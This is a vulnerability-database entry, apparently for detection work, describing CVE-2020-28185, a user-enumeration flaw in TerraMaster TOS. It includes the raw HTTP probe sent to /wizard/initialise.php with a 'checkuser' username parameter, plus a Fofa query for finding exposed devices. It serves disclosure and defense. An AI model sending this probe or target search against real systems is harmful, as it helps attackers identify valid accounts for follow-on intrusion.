🔙 목록으로 돌아가기

CVE-2020-28185: TerraMaster TOS < 4.2.06 - User Enumeration

TitleTerraMaster TOS < 4.2.06 - User Enumeration
Authorpussycat0x
SeverityMedium
ImpactAn attacker can enumerate valid usernames, potentially aiding in further attacks.
RemediationUpgrade TerraMaster TOS to version 4.2.06 or later.
CVSS Score5.3
EPSS Score0.90659
CVE IDCVE-2020-28185
Fofa Query"TerraMaster" && header="TOS""terramaster" && header="tos"
Tags cve2020 cve terramaster enum tos terra-master vkev vuln

🔍 Vulnerability Description

User Enumeration vulnerability in TerraMaster TOS <= 4.2.06 allows remote unauthenticated attackers to identify valid users within the system via the username parameter to wizard/initialise.php.

🌐 HTTP Request

GET /tos/index.php?user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wizard/initialise.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 28
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: //tos/index.php?user/login
X-Requested-With: XMLHttpRequest

tab=checkuser&username=admin

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-28185.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-28185.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A